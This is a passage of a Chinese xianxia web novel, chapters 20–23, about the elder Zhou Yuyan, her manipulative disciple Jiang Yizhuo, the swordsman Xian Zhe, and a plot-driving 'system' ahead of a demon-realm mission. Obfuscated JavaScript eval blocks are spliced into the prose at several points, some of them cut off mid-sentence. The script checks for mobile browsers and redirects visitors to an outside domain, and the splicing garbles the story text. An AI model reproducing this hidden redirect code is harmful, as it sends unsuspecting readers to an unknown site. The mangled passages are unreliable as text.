周玉衍沉默地看着二人客套了几个回合，打心底觉得江以卓比她更适合招摇撞骗。 这时神木宗带队的沈长老走了过来：“周长老，孟长老，许久不见了。可要一同行动？” 孟长老先行开口道：“沈长老来晚了，方才我已经与周长老商议过，我们两宗共同行动。” 他笑道，“两宗行动最好，三宗却是有些拖沓了。” 沈长老倒也没什么被拒绝的气恼，平和点头：“既如此，我再寻别的宗门就好。我宗这次来了不少擅长阵法的弟子，若有需要，二位长老尽可来找我。” 周玉衍礼貌地应了，孟长老也笑着应下。 待他走远后，孟长老悠悠叹道：“沈长老确实是典型的名门正派出身的修士，修为及性子都是一等一的好。” “相貌也俊俏，的确是结合道侣的最佳人选。” 孟长老笑起，问道，“周长老，我听闻之前你们宗内有谁说……你有意与神木宗沈长老结契？” 他这话刚刚说完，周玉衍立刻感觉自己被两道目光捅了个对穿。 她先是朝身侧的江以卓瞪了一眼——看什么看，没看过别人瞎传绯闻吗！ 江以卓微顿，敛起了探究的眼神。 周玉衍见他还算乖顺，就将目光移到了羡折身上——江以卓看她也就算了，大抵是以为自己一觉醒来多了个师爹，但羡折那般看她又是做什么？ 她瞪着眼与羡折对视，几息后却有些怔愣。 羡折眼中满是惊骇，许多她看不太明白的情绪夹杂着怒气，眼波流转间泛起潋滟，竟让她莫名觉得他现今悲痛欲绝。 但即刻那双眼就与她错开，垂下的睫羽遮蔽了所有情绪，只是其中凌厉的势却难以收敛。 周玉衍突然就熄了火，收回眼没再瞪他，开口解释道：“我无意。” 她余光瞥到羡折猛地抬眼，目光依旧如刺。 “是谢长老胡言乱语，当不得真的。” 周玉衍说得十分正气：“修炼重要，修士寡欲，若非修为进阶需借助双修之法，寻常修士仅会追寻飞升，并不会拘泥于情爱，联姻不过无稽之谈。” 孟长老笑得意味深长：“的确如此，不过我有些好奇，周长老若是找道侣，会找什么样的人呢？” 周玉衍觉得自己大概被羡折刚刚的眼神震住了，这会儿听见孟长老明显挖坑的话，竟然还真就被引着顺着话答：“我若是找道侣，同样只会是因为修为进阶需借助双修之法。” “那……最先考虑的自然是根骨体质是否相合，修习的功法是否相斥，旁的似乎倒没什么太重要的。” 孟长老接话道：“沈长老也是顶尖根骨，体质我虽然不太清楚，但神木宗的功法温和，他的性子也那般平和，想来再如何也不会相斥。” 周玉衍认真地想了想，点头肯定道：“确实，沈长老的确是个不错的人选。” 羡折神色苍白，克制着自己低头盯着地面。 江以卓突然道：“师尊，弟子有惑。” 周玉衍：“你且说。” “若是我日后有了心悦之人，根骨体质功法却样样相斥，这般可会耽搁修炼？” 周玉衍一副看傻子的眼神看过去：“那你们二人不修习双修之法不就成了？” 江以卓顿了下，笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217774|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“师尊说得不错，但弟子仍然心有疑惑。” 周玉衍倒也不介意在外边与他配合表演一下师慈徒孝的场面，和气地说：“你问。” “若是弟子心悦之人……与弟子界限颇深，无法结契，更为世俗不容，弟子该如何？” 周玉衍差点被江以卓这番话把心脏病都吓出来。 这说的、这说的什么话！ 简直就是指名道姓点着“师徒”关系！ “胡言乱语！” 周玉衍没想到，有人比她还先开口呵斥。 “你身为弟子，怎能生出这等心思！” 羡折双眼泛红，厉声道，“你入道入宗门还不过一月，竟起了这等念头！” 孟长老似乎也很是震惊，一双眼在三人之间不断打转。 周玉衍惊吓过后，却是很快冷静了下来。 江以卓的性子她摸得挺清楚，他绝不是一个会拘于情爱的人，突然这么问话，只能是又起了什么小心思，在算计着旁人。 她看着江以卓，他果然毫不畏惧，扬起的笑坦荡万分，却让她看出了一点洞悉一切后胜券在握的嘲讽。 “羡师兄莫要激动。” 江以卓懒声道，“只是做个假设而已。” “我前几日与同门玩闹，听闻别宗有长老与弟子相恋之事，心有疑惑，方才提及道侣结契，便想到了此事，所以才有此一问。” 周玉衍愣了下，顿时无语——春秋笔法误人！ “界限颇深”“无法结契”“为世俗不容”，若是安个长老与弟子的身份，还真就……也能对得上。 “师尊觉得如何？”江以卓继续问道。 周玉衍放松了，平静开口：“自然是不好，毕竟也算为师为长，于礼不合，的确是界限颇深。” 江以卓：“倘若弟子生了情，该如何？” 周玉衍：“不如何。生了情自然是该克制，修士寻真问道，为了提升修为境界，克制的东西已有太多，情爱又有何特殊？” 江以卓：“倘若弟子对那人难以割舍，该如何？” 周玉衍：“割舍不掉，那就等于是自废修为，修道之人生了执念，修为只会停滞不前，若是强行修炼，只会走火入魔，这点道理难道你还不懂？” 江以卓：“倘若弟子用情颇深……” 周玉衍懒得配合他使伎俩，打断他：“用情颇深算什么？这世间情深可不止那点情情爱爱，弟子在乎他心中的那点情爱，可有想过那位长老或许也很珍惜二人原先的桃李之情？” 江以卓笑起：“是，弟子明白了。” “跟随师尊修道，确是让弟子收获颇多，”他话语一转，懒散地拖长着尾音，“这位羡师兄面色看着十分苍白，可是有哪里不适？” 周玉衍闻言望向羡折，果然见羡折神色怔怔，面无血色。 她讶异上前，问他是不是旧伤复发，可要她为他渡灵。 羡折极力压制住自己的所有思绪，撤步退后：“我无事。仙尊莫要……莫要……” 他说不下去，垂头行礼道，“各宗弟子还未到齐，我……我先进修炼法宝里多练会剑。” 周玉衍愣愣看着羡折离去，脑中只有一句话：还真是剑痴啊。 可这又是何必呢？才这点时间，怕是刚进法宝起了剑意就会被打断叫出来，那不是更加心念未练完的剑吗？ “错了。” 孟长老突然长叹，“道侣结契是两个人的事，你们方才却只问那弟子有情如何。” “不过，的确也只有那弟子有情。” 可惜。 刚明白了自己的情意，便被人折断了，过后只会同念着断剑一般念着那份情意，稍有差池，便会轻易生出执念。 孟长老思及此处，笑着对周玉衍传音：“周长老，你这位徒弟当真有意思，心计极重。” 他在一旁看得明白，江以卓问一句、周玉衍答一句，羡折的脸色就要苍白一分，到最后几乎是竭力克制，才没有让失魂落魄的神色显在面上。 21. 第 21 章 周玉衍十分认同孟长老的话。 这人果然很有眼光。 她传音回去：“无事，我自会调教好他。” 孟长老笑了笑，没再说什么。 待各宗门的人都到齐，众人互相打过招呼后，在不夜城城主的迎接下进了城门。 有小弟子惊声道：“这方地界当真神奇，外边分明还是白日，进了城内却是黑夜！” 城主笑容宽厚：“点灯作白昼，如此便是不夜城。” 但他话完后却是一叹，“可惜近日城民们被那些灵兽扰得厉害，寻常火树银花的景象，诸位现今却是看不到了。” 周玉衍敏锐察觉出不对，这点灵兽怎么会扰到城民的平常生活？城池的护阵又没破。 “诸位长老先随我来议事？至于弟子们的住处，我也都已安排好了。” 周玉衍闻言，对江以卓传音道：“待在住处别乱跑。” 省得她在女主开始任务的时候还得去开系统导航找人！ 没一会儿，江以卓传音回话道：“是，弟子等着师尊回来。” * 周玉衍不喜欢带队出宗历练的其中一个原因，就是懒得费精力去辨认对面的人笑容里藏的刀是把小匕首还是砍人的大刀。 她看着面前一张张堆笑试探的面孔，瞥了眼孟长老。 孟长老即刻会意，笑着上前招呼。 周玉衍很满意，还是利益之交使唤得爽快，这种避免不了一番寒暄及吹捧的时候，孟长老这样的好队友就能发挥所长了。 各宗长老聚齐后，城主抛出了个爆炸消息——昨日有元婴中期的魔族潜进了不夜城，将一户人家掳去了魔界。 长老们顿时炸锅，周玉衍也很惊讶，等城主将这事详细说明完后，她无语地戳戳系统：“解释解释，女主元婴初期的剧情怎么提到这儿了？” 系统吞吞吐吐、支支吾吾、磕磕巴巴——周玉衍明白了，纸糊的服务器又出bug了。众所周知，修好一个bug后很容易就会接着冒出四五个新bug。 系统努力挽尊：“但是咱们知道剧情！而且女主也在这，问题不大！剧本在手，你辅助女主按剧情走就行了。” 周玉衍沉默了。 “你的意思是，女主才刚刚金丹期，你就让她去跟元婴中期的魔族单挑？” 系统解释道：“其实真可以试试的，女主也有主角光环的！那就是她再怎么‘九死’，也有‘一生’的！” “虽然修为跨了两个大境界，虽然很容易被一招秒，虽然一定会被虐死痛死……不对不对，说错了，女主再怎么被虐也不会那么容易死的，她还没走到大结局呢。” “你要相信女主的主角光环，”系统说，“女主快被打死之前，肯定会出什么岔子让她没死成的，比如什么高阶魔族不屑于去补刀，误以为女主已经身死，但其实女主还没死透，于是就被她这么躲过去……之类的女主光环。” 系统：“所以问题不大，我刚刚都跑好方案了，你想办法把女主弄进魔界救人就行了，其它的你都不用管。” “反正就是把元婴初期要挨的揍提前到金丹初期嘛，没关系的，女主就是被揍得濒死而已，真要死是不会死的——她还得接着走后面的剧情呢！” 周玉衍气笑了：“活阎王，真没把女主当人看。” 系统不满道：“我也不想剧情提前啊！女主现在才这点实力，剧情完成的质量肯定很低！” 周玉衍深深吸气，压制住自己的怒火：“我去走剧情。元婴中期的魔族虽然打起来是有些费劲，但我不会到九死一生的地步。” 系统：“你不能替女主走剧情，你是配角，还是反派！你去走女主的剧情，那剧情线就会全乱了套了——本来现在就已经莫名其妙提前剧情了！” “我看就是你给女主打护阵影响到了剧情——早就说了，女主该受的苦你不能帮她躲过！” 周玉衍语气很沉：“这根本就不是女主该受的苦。” 她想起祝临兰干净的眼睛，哑声道，“她才刚刚踏上成长路，凭什么就要被这世界的恶意扼杀。” 系统也很恼火：“随你怎么说！反正剧情就是这样！你一个反派配角要是替女主走剧情，就等着更加乱套的剧情折磨死她吧！” 周玉衍静了一息，问道：“那江以卓呢？照你的逻辑，他是男主，总能替女主走剧情吧？” 系统一下子闭了嘴，好半天后期期艾艾道：“男主……男主才筑基后期呢，跨三个大境界，怎么能让他跟元婴中期的魔族对打嘛……” 周玉衍冷笑一声：“明白了，那就是可以替女主走剧情的意思，否则你肯定第一时间大喊大叫反驳我了。” “那我就把江以卓拎过来，让他跟祝临兰一起走剧情去。” 系统憋了半天，见她神色认真，气焰弱了下来，劝道：“别啊，别啊，男主可是你徒弟，你怎么能让你徒弟去做这么危险的事呢？你们现在看着师慈徒孝的，你转头把人丢去魔界，这不符合逻辑的，而且、而且……” “——而且男主在剧情里就是不用走剧情的。” 周玉衍心道，因为人很容易爱屋及乌，也很难不恨屋及乌。 “因为我是反派啊，我要折磨男主啊，这比你身为一个女频文的系统还去折磨女主合情合理多了。” 周玉衍语气很差，“而且男主的金手指强得很，羡折金丹大圆满的修为，都劈不散他那血雾。” 她顿了下，嗤笑道，“我倒是挺好奇，元婴中期的魔族能不能跨三个大境界把男主的金手指掰断。” 系统还在挣扎，周玉衍却没了听它诡辩的耐心，拍板道，“我管你什么男主这男主那的，封建糟粕说了一堆，那我也封建一下——” “我是他师尊，他就得事事听我的，我要他去做什么，他就必须去做什么。” “我现在让他去走剧情，他就必须得去。” 这时长老们的讨论也出了结果，城主开口道：“好，那就按诸位长老的意思，由几位长老一起潜进魔界，分头去寻被掳走的几人。” “方才我也将画像给诸位看过了，可有长老自请任务？” 周玉衍立刻道：“我愿前去。” 孟长老颇有些惊讶，皱眉望向她，投来不认可的目光，传音劝了她好几句。 周玉衍没理，她现在忙着盘算该怎么偷摸把江以卓弄进魔界去。 “我也愿往。”神木宗沈长老也开口。接着又有几位长老站出，随后众人讨论一番，定下了此事。 “如此，辛苦几位长老了，一刻钟后，城门外汇合。” * 众弟子来到城主安排好的住处，便自由活动了起来。 江以卓温和有礼地应付完同门，绕着弟子住处找了大半圈，终于在一处无人地看到正抱剑望着天边流云的羡折。 他扬着笑，直直走上前去，状似关切：“羡师兄现今脸色看着好多了，之前是旧伤复发？还是……添的新伤？” 羡折回头冷冷看了他一眼，没有应话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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羡折竭力压下杀气，但眼中锋芒依旧骇人万分：“我不管你这般做派是想在我这方算计什么，但你若当真心思不正，对她起意，害她被引进极煞的命道——” “一个月前我说要出手杀你，现今、往后，我同样能杀你。” 羡折说完这话，似乎冷静了一些，神情渐渐恢复成平日的淡然，“不论你是在宗门内，还是在她身边。” 江以卓感受着皮肤被割破，鲜血流下脖颈的触感，却是丝毫未显惧意：“羡师兄好大的脾气，当真吓人。” 他拿出传音玉牌晃了晃，笑道，“既然如此，不如我现今就唤师尊一声，要她回来看看，也好为我收尸。” 羡折杀意暴涨：“你如此作态，究竟目的为何！” “羡师兄误会了。我既然选择跟在师尊身边，目的当然是想好好修炼。” 江以卓盯着羡折，眼神很沉，“可你却对我师尊……居心不良，那我自然得解决掉你。” 他启了传音玉牌，不过一息，女子清越的声音自玉牌中传出，他立刻惊声喝道—— “羡师兄你怎能对我师尊有这等心思！如此——根本就是大逆不道！以下犯上！” 羡折面色瞬间煞白，握剑的手都微微颤了一下。 在周玉衍疑问的话语出口之前，他猛地一剑刺裂了传音玉牌，通讯中断。 剑风将一小部分齑粉轰开，碎玉砸地，青石板上满是细小的玉块，月光照耀下，晶莹剔透。 22. 第 22 章 “羡师兄可真好激将。” 江以卓面上的笑容看着与方才一般无二，眼里的恶劣却几乎压不住。 他看着惊慌的羡折，懒声道：“你把传音玉牌击碎了，让我师尊怎么想？” 羡折惊魂未定，只提着剑愣愣盯着青石板上碎裂的玉块。 江以卓见此笑意更甚：“说不定……她以为你要将我杀了灭口了，这会儿正急忙赶来呢。” 几乎是他话音落下的同时，元婴期修士的威压伴随着清冽的夜风罩住这方。 二人俱是一怔，齐齐朝院落屋檐望去。 周玉衍凌空而来，衣袍广袖随风纷飞，发丝也在风中猎猎飞动，她轻功登顶落在檐上，手里拿着传音玉牌，面上并未显出什么神情。 身后月盘皎皎，为她镀辉，这一刹好似月中仙人自天幕踏出，下望凡尘。 羡折极轻极缓地眨了眨眼，没有言语。 周玉衍跃下屋檐，将手中玉牌往江以卓那方一抛：“怎么把传音玉牌摔碎了？” 江以卓下意识伸手，接住周玉衍抛来的玉牌。 细润玉牌入手，他这才回过神，压下被惊起的心跳，缓和一息后开口答话道：“是我没拿好玉牌，羡师兄找我切磋，我一时紧张摔了玉牌。” “切磋？”周玉衍诧异万分，压根不信以羡折那等剑术，会跑来跟江以卓这个剑意都没修出来的人切磋。 江以卓点点头：“我见师尊之前那般担忧羡师兄的伤势，便想着来问问，不过羡师兄似乎并无大碍，见了我颇有战意。” 他停顿了一下，显出局促的神色，“或许是我说错了话，才激起了羡师兄的脾气……” 接着他像是才反应过来一样，疑惑道，“师尊怎么突然来了这方？” 周玉衍神情古怪：“我循着师徒契的感应过来的。不是你传音给我的吗？话说到一半没了动静，我还以为你这边出了什么事。” 江以卓眼中极快地闪过一丝笑意，面上却惊疑不定：“可我并未与师尊通讯，我正与羡师兄探讨……探讨剑道。” 他的神色懊恼又畏惧，小心翼翼地看向羡折，“许是我不小心启了传音玉牌……师尊听到了什么话吗？” 周玉衍顿了下，想到刚才听到的什么大逆不道以下犯上，也侧眼看向羡折。 羡折垂着眼，一言未发，好像江以卓所说的任何都与他无关，他只是在此地抱剑赏月观流云，身上也根本没起什么战意剑意。 但周玉衍莫名从中看出了几分僵硬和无措。 随着她目光停驻的时间渐长，羡折冷静的面上终于显出了点心慌。 他紧了紧剑，正要将剑收回剑鞘，周玉衍讶然道：“你的剑身上怎会有血迹？” 羡折下意识低头望剑，亮白剑刃上，那鲜红的血虽然不多，但刺目万分。 江以卓在这时插话道：“切磋难免受伤，我并无大碍，师尊莫要苛责羡师兄。是我技不如人。” 羡折张了张口，却不知道该如何辩解。 就像他之前呵斥江以卓的那番话，他也不知道其中有几分是在呵斥他自己。 呵斥自己心思不正，对不该起意的人起了妄想。 “弟子自知逾矩。” 羡折卸了剑，深深调整着呼吸，镇定心神。 “我日后……再不会与仙尊碰面，也绝不会叫我的一念之私影响到仙尊清誉。” 羡折闭目行礼，强行维持着面上的平静，企图遮掩自己那点不堪的心思，睫羽却难压地颤个不停。 他最终放弃，低垂着眼哑声道，“是我心思肮脏。但仙尊、仙尊信我……我从未想过当真要行此大逆不道之事，也万不敢……以下犯上。” 江以卓把话说得太明白了，他根本无从辩驳。 更何况……师徒亲密，由不得他这个外人置喙任何。 “你不必这般多礼，羡折。” 周玉衍开口道，“我这徒弟性子有多差我是知晓的，且安心，我不会找孟长老去追责你的。” 周玉衍觉得，江以卓的话说得太模棱两可了。 江以卓上回说什么长老弟子的事，说得像是师徒虐恋一样，这回又说什么羡折对她大逆不道以下犯上，她合理怀疑事实并不像他说的那样。 何况羡折刚才也都否定了。 她才吃过春秋笔法的教训，加上系统之前还拿什么“非人折磨”代替“小黑屋”，她要是再不警惕点，还任人说什么便信什么，那不就是吃一堑吃一堑再吃一堑嘛！ 就江以卓那一肚子坏水，她是半个字都不会相信的。 周玉衍瞪着江以卓，见他将手轻按在自己颈前，这才发现他脖颈上的伤口，结合方才二人的话，她一刹明悟——羡折还是因为江以卓极煞的命格，对他芥蒂深重。 她一个没看好，人都要拔剑抹脖子了！ 周玉衍立刻肃了神色，问羡折：“羡折，你当真只是起念？并未想过切实行此大逆不道之事？” 羡折的声音清晰坚定：“弟子绝不会如此行事。” 周玉衍有些犹豫，羡折这种在原书中都绝对正派的人物，她是比较相信的，但江以卓脖颈处的伤口还在往外冒着血。 虽然说以江以卓的性格，他干得出把羡折的剑抵上自己脖子划一道口后抹眼泪栽赃羡折要杀他这事。 “他脖子上的伤，是你出的剑？”周玉衍问。 羡折顿了下，应是。 周玉衍皱了皱眉，在心底把羡折的信用分从九十扣到六十，又把江以卓的信用分从零扣到了负。 “既是你出的剑，为何还说什么不会行此事？” 周玉衍话完，看见羡折明显怔愣的神情，眉头紧锁，“与人有仇怨，算不得心思肮脏，但你也不可越俎代庖。何况你从前还答应过我，不会因他的命格对他出手。” “我既然收了他做徒弟，自然该我管教好他，你这般出手的确是以下犯上了。” “师尊……误会了。” 江以卓沉默了许久，终于在这时开口，“弟子说错了话，点明了羡师兄的心思，激起了他的杀意，所以羡师兄才对我出手。” “羡师兄不过一时冲动想杀了我以绝后患，非是蓄谋。” “而我说错的那话，师尊也通过传音玉牌听见了。” 周玉衍回想着江以卓启通讯玉牌的那番话，疑惑道，难不成羡折也恨屋及乌，还想把她也一起杀了？ 那倒是没什么事——他打不过自己。 还是江以卓的事比较大，因为羡折真能一剑把他咔了。 周玉衍想了想，决定遵循“自家小孩在外挨打第一时间要求自家小孩道歉”的“请家长”大法，打出一道灵力止住江以卓伤口的血，然后说道：“既然是你说错话，那便去向羡折道歉。” 江以卓眼神阴沉，看向周玉衍。 周玉衍只说：“听话。” 江以卓似乎是气笑了，死死盯了她好一会儿，才转头去看羡折：“抱歉，羡师兄，是我说错话。” 他干脆利落地行了个礼，咬牙切齿地笑，“也的确是我……技、不、如、人。” 江以卓直起身，再没有多看羡折一眼。 他转身向周玉衍走去，面上神情分明已尽数收敛，眼中却横生锐意，白底蓝云纹的弟子服勾勒出少年腰身，他的腰背挺拔似出鞘利剑。 “师尊既是循着师徒契来此，那一定是有要事找我？” 江以卓说，“师尊吩咐即可，弟子……听话。” 周玉衍点点头：“随我去城门外一趟，我带你去历练。” 江以卓怔了怔，讶异道：“师尊竟是亲自来领我去历练吗？” 周玉衍：“自然。” 江以卓眼眸清亮，即刻应是。 他扬头笑起，干净的眉眼舒展着意气，好似初入江湖看什么都新鲜，于是兴起义生，高喝着日后定要名扬江湖。 可惜周玉衍的反诈警铃十分敏锐，对此只有四个字的评价：变脸大王。 她正要带着江以卓离开此地，一直沉默的羡折却开口道：“仙尊留步。” 周玉衍停了步子回头：“何事？” 她见羡折的神情极其复杂，以为他是不愿被迫接受道歉息事宁人，没想到羡折却说：“仙尊可得闲？我……想单独与仙尊说些事。” 周玉衍其实不太闲。 一刻钟的时间就要到了，她得赶去城门外与进魔界的几位长老汇合，还得给江以卓施法隐匿气息把他偷渡进去，等人都进去了她还得偷摸出来再把祝临兰也忽悠进去。 接任务时有多么豪气干云，做任务的时候就有多么深切地领悟到反派是块砖。 但她还是应了羡折。 以系统剧情的恶意，纵是有她在一旁护着，祝临兰做任务走剧情恐怕也不会顺利多少。 哪怕关键时刻她可以把江以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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系统慷慨激昂地对江以卓的相貌大夸特夸，夸得上穷碧落下黄泉都找不出一人与他比肩，同时大概是怕她按下静音键，还在提词器上疯狂打字。 周玉衍随手一翻，整整三大页的褒义形容词，描述细致到恨不得连江以卓上扬了一个像素点的唇角都要夸得天花乱坠。 周玉衍：…… 周玉衍不爽道：“啧，也就那样吧。” 她看了眼羡折，真心实意道，“还是你好看。” 羡折闻言一愣，飞快地偏头错开她的目光，耳尖极红。 几息后他轻轻开口：“我知晓了，仙尊，此事是我冲动，不该随意出剑，还击碎了传音玉牌。” “待历练过后，我回宗门取玉，给仙尊新做一块玉牌作为补偿吧？” 他话完自己先怔了一下，而后慢慢淡了眼中喜意，“罢了，这般并不太好，我回头托人把对应数目的灵石送去给仙尊就好。” 周玉衍恢复了长老之位，现今腰缠万贯，碎一块传音玉牌而已，她丝毫不在意：“不必赔偿，你也不用在意，而且你之前不是已经送了我一块玉？” 她说到这里，伸手到颈间，自里衣中拉出一块红绳系着的方形玉，“我戴着呢。” 羡折看着熟悉的玉块，好半天没能说出话来。 他将自己的目光从被周玉衍拎起的方形玉上撕下，轻声开口道：“仙尊竟然贴身戴着？” 周玉衍点点头：“我稍稍研究过上面的秘法，贴身戴着效用最好。” 羡折不自觉地扬了点笑，先前被江以卓激起的剑势也彻底平息。 “你若是实在在意，想补偿什么……我现下要进一趟魔界，想你与我一起，你可愿意？”周玉衍问道。 * “师尊这么快就出来了？” 周玉衍走出院子，就见江以卓半倚在一棵古树旁，林叶荫蔽，树藤垂下，他抬手将其拨开，走上前来。 “师尊一个人？” 周玉衍点点头：“我给你施法隐匿气息，你随我走就行，碰见旁人不必招呼，若想说什么话，传音与我。” 江以卓乖顺地由着周玉衍施完法，然后说道：“我还以为，师尊从这院子出来时，后边还会跟着一人。” 23. 第 23 章 周玉衍警惕道：“你听墙角？” 江以卓很坦诚：“只听到师尊提到魔界那里，后面似乎是羡师兄启用了什么隔音法宝。” 周玉衍见他这么诚实，神情反而更加狐疑。 “师尊不是说，我在你面前无需多做遮掩吗？”江以卓说。 周玉衍：……倒也不是让你连听我墙角都告诉我！ 她摆摆手：“走吧，历练去。” 江以卓跟上前，一跨步与她并肩：“师尊还没回答我，那人不与我们一起？” 周玉衍没停步，边走边从路边开得正盛的梨树上随手折了根花枝，转身借着梨花枝抵住江以卓的肩骨。 江以卓停了脚步：“……师尊？” “进了宗门，还是要遵循些礼法，”周玉衍与他对视，“你身为弟子，与我行路时不可越前，至少需隔四尺。” 江以卓微顿，即刻应是。 周玉衍接着说：“在外历练，不必在意谁与你一起，难不成身边之人不合你意，你就不历练了？” “历练自身为重，旁的任何事都比不上修炼。” 周玉衍话完便抛了花枝，转身迈步。 江以卓愣了下，急忙接住因她的松手自他肩骨滑下的梨花枝，或许因为他的动作有些急，带着心跳也微促。 他拿着花枝，最尖上的梨花受了力，有些扁残，侧枝上簇着的几朵却如雪繁盛。 他没忍住多看了几息，鬼使神差地将其收进储物戒中。 “一束折了的梨花枝而已，收进储物戒做什么？”周玉衍见他半天没跟上来，回头时又瞧见他这般动作，疑惑问道。 江以卓哑然，好一会儿才说：“弟子……弟子喜爱梨花。” 周玉衍倒是不清楚他还有这个爱好，不过想来也是，世家出身的公子多是风月，拈花遛鸟再正常不过。 她随口画饼：“回头我差人移几颗到院中。” 接着她朝他招手，示意他快些跟上来。 江以卓收了储物戒抬头，夜风拂面却似飞花掠眼，他眼睫颤了一下，快步跟上周玉衍。 * 二人很顺利地进了魔界。 系统的屏蔽法罩一开，江以卓就跟空气一样看不见摸不着了，他从城主和另外四位长老中穿过，没有一个人察觉到他。 周玉衍看得冒了点酸：“这样好用的金手指，你从未给女主开过。祝临兰招你惹你了？” 系统装死没应，直到周玉衍与几位长老拿着探测法宝分头行动后，它才磨磨蹭蹭地说：“不用找的，不管是帮被偷法宝的长老夺回法宝，还是从元婴期魔族的手里救下城民，都是女主自身的阶段性任务。” “女主没进魔界之前，任务剧情不会推动的，你们不会找到那些城民。而且女主的剧情得等女主来了才能触发，你就算带上男主来，也是做无用功。” 周玉衍早有所料：“我知道的，毕竟你就这个德行。所以我现在把江以卓带进来，也不是让他去救城民抢女主声望的。” “我是让他去碰一碰那些高阶的魔族。” 周玉衍打着算盘，“魔界里面虽然乱，却也有几座治理得还不错的城池，我领着他进去招惹几个魔族，试一试他的金手指到底有多粗。” “毕竟理论是理论，实战是实战，他要是不太行，我得再多想些办法护着祝临兰。” 系统刚要插话，周玉衍就已经把它的台词念完了—— “我不能这样对男主、跨大境界对敌太过危险、男主才刚修炼怎能招惹高阶魔族、我不该护着女主我该护着男主——还有什么是你要说的吗？” 系统傻了眼，憋了半天憋出一句：“你……你这样做，男主会受重伤的，受伤多疼啊……” 周玉衍沉默了一下：“虽然我也会双标，但没想到我还是低估你的双标值了。” 她没再搭理系统，领着一直安静跟着她的江以卓走到魔界边界的无人地，解除了他身上隐匿气息的法术。 “师尊所说的历练，便是救被掳的城民？” 江以卓在法术解除后第一时间发问，“方才见到的那几位长老皆是神色沉重，想来此事定是到了危急关头，师尊带弟子进魔界，可是有什么弟子能助力的地方？师尊尽管吩咐。” 他这话说得一身正气，周玉衍却道：“救人不是你的事。” “历练才是你的事，我带你进来是让你历练的。” 她指着侧方，继续道，“大约三十里外，有一座城池，里面的魔族修为金丹到元婴不等，他们便是你此次历练的目标。” “那方城池治理得还不错，会管制魔族禁止他们打架斗殴，你们打不了多久就会被管事的魔族官员押起来，如此也算一种点到为止。” 江以卓神情惊诧地看向她，周玉衍状似毫无所觉，“跨大境界对战，能激发生死时刻的本能，极快地提升实力。” “你若是有本事，修为境界说不定能一日千里。” 她神情冷淡，像是并不觉得去挑衅高阶魔族作为历练有何不妥，“如何？这般历练很挑时机，现下正好有此机会……” “你是要抓住好时机，拼命争进阶，还是放弃机会，出魔界回到不夜城，与同门一起轻轻松松做那些驱除灵兽的小任务？” 话完她一顿，“筑基后期……弱得我能一根手指碾死你。” 她话语不屑，语气却太过平淡，反叫这话不像是尖刻的嘲讽，而是挑不起兴趣的无视。 江以卓似乎是在仔细思辨其中利弊，看着她久久没有应话。 周玉衍也不着急，气定神闲地屏蔽掉大喊大叫的系统，静静回望着他，等着他的选择。 “生死时刻，”江以卓慢慢开口，“境界差距如此之大，师尊是带我历练，还是叫我送死？” 周玉衍淡淡道：“为师是带你体悟破而后立，绝境新生。” 她在心底轻声道：就像那些“女主”一样。 几息过后，江以卓答话：“弟子愿往。” 他注视着周玉衍，“师尊说得不错，我这点修为实在太弱，若我实力足够，任何历练方式都不会叫我犹豫——” “且世间意外之事众多，人人可跌绝境。” 江以卓眼神狠戾，“但我得爬上去。纵是竭尽最后一口气爬上去，也算死得痛快了。” 他未敛眼神，却行上一礼，真心实意道，“多谢师尊，费心为弟子寻历练之法。” 周玉衍都想为他鼓掌了。 鬼才啊，这脑回路，不仅为被虐找合情合理之处，还把施虐的人说得这么高尚，甚至也不管自己会不会因此痛不欲生死去活来，那她不多虐虐他都说不过去了。 “弟子出招聚的是灵力，师尊可有法子将其掩盖成魔气？”江以卓问。 周玉衍指使着系统给二人开魔气挂，在系统几乎要带上哭腔的劝说中，领着江以卓潜进了那方小城。 江以卓大概已经调整好了赴死的心情，神色极其严肃，但话语却镇定非常：“师尊，弟子直接上前约战吗？” “约战是修士才会做的先礼后兵，魔族可不跟旁人讲什么武德。”周玉衍说，“不急，等我先看看。” 二人走到一家酒馆前，正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260216|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见几个身形高壮的魔族大汉打着踉跄醉醺醺地出了酒馆。 周玉衍立刻道：“走，咱们进去，你准备准备开始历练了。” 酒馆和醉汉，简直是惹事的标配，成功概率百分百！ 周玉衍传音道：“为师想办法去惹点事。一会儿你不必管我，专心历练就好。” 江以卓认真应声，二人进了酒馆坐上空桌，周玉衍喊完小二上酒，就开始打量周围几桌的魔族，挑选着第一个目标。 还没等她想好去碰瓷谁，就路过一个魔族大汉不小心撞上了她这边的桌侧。 